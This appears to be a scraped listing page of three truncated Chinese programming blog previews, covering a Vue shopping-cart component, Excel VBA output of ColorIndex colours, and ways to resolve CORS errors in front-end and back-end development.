基本静态结构 静态结构直接 cv笔记中的内容 &#xff0c;粘贴到 layout架子上的 cart组件中 给详情页底部的 首页 和 购物车 添加点击跳转事件 cart.vue中应用到的 van-Checkbox组件&#xff0c;进行该组件的引入注册 将数字框替换为之前封装好(两个-按钮中间的1那个输入框)的组…

ExcelVBA编程输出ColorIndex与对应颜色色谱

标题 ExcelVBA编程输出ColorIndex与对应颜色色谱 正文 解决问题编程输出ColorIndex与对应色谱共56&#xff0c;打算分4纵列输出&#xff0c;标题是ColorIndex,Color,Name 1. 解释VBA中的ColorIndex属性 在VBA&#xff08;Visual Basic for Applications&#xff09;中&#xff…

前端和后端解决跨域问题的方法

目前很多java web开发都是采用前后端分离框架进行开发&#xff0c;相比于单体项目容易产生跨域问题。 一、跨域问题CORS 1.什么是跨域问题&#xff1f; 后端接收到请求并返回结果了&#xff0c;浏览器把这个响应拦截了。 2.跨域问题是怎么产生的&#xff1f; 浏览器基于同源…